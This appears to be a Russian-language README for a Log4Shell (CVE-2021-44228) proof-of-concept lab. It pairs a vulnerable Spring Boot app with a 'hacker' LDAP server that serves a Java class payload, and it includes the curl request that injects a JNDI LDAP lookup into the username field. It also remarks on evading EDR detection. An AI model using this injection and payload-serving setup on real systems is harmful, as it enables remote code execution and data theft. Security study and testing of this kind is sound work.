
log4j2 Log4Shell CVE-2021-44228 доказательство концепции
Простое Spring Boot-приложение, которое отображает страницу входа с полями пользователя и пароля. Оно записывает имя пользователя в журнал при POST-запросе на /. Приложению не обязательно логировать какие-либо данные, введённые пользователем. Достаточно включить журналирование доступа, использующее уязвимую версию log4j2.
Как запустить:
cd exploitable
../mvnw -q spring-boot:run
По умолчанию приложение слушает порт 8080. Если открыть http://localhost:8080/ в браузере, вы должны увидеть примерно следующее:
В файле pom.xml вы заметите JVM-свойство:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
Оно не требуется в более старых версиях JDK. Значение по умолчанию было изменено на false в: JDK 11.0.1, 8u191, 7u201 и 6u211. Даже без этого свойства приложение уязвимо к первоначальным LDAP-запросам, которые могут похитить чувствительные данные.

Хакерское приложение, которое служит двум целям:
Как запустить:
cd hacker
../mvnw -q spring-boot:run
В файле pom.xml можно изменить полезную нагрузку, отправляемую по умолчанию уязвимым приложениям:
--class=SayHello — значение по умолчанию, то есть в качестве полезной нагрузки отправляется SayHello.class.
Отправьте curl-запрос к эксплуатируемому приложению, указав LDAP-сервер hacker в одном из вводимых пользователем полей (имя пользователя):
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/
В консоли эксплуатируемого приложения вы должны увидеть что-то вроде:

${jndi:ldap://127.0.0.1:1389}127.0.0.1:1389dn:
objectClass: javaNamingReference
javaClassName: SayHello
javaCodeBase: http://127.0.0.1:9090/
javaFactory: SayHello
SayHello.classgetObjectInstance в классе эксплойтаПосле первоначального LDAP-запроса и возможной загрузки эксплойт-класса Java эксплойту не требуется порождать процесс или устанавливать какие-либо дополнительные подключения к Интернету. Обычно такие эксплойты легко обнаруживаются EDR-продуктами и т. п. Я подозреваю, что новые эксплойт-полезные нагрузки будут нативно реализованы на Java, чтобы обойти обнаружение.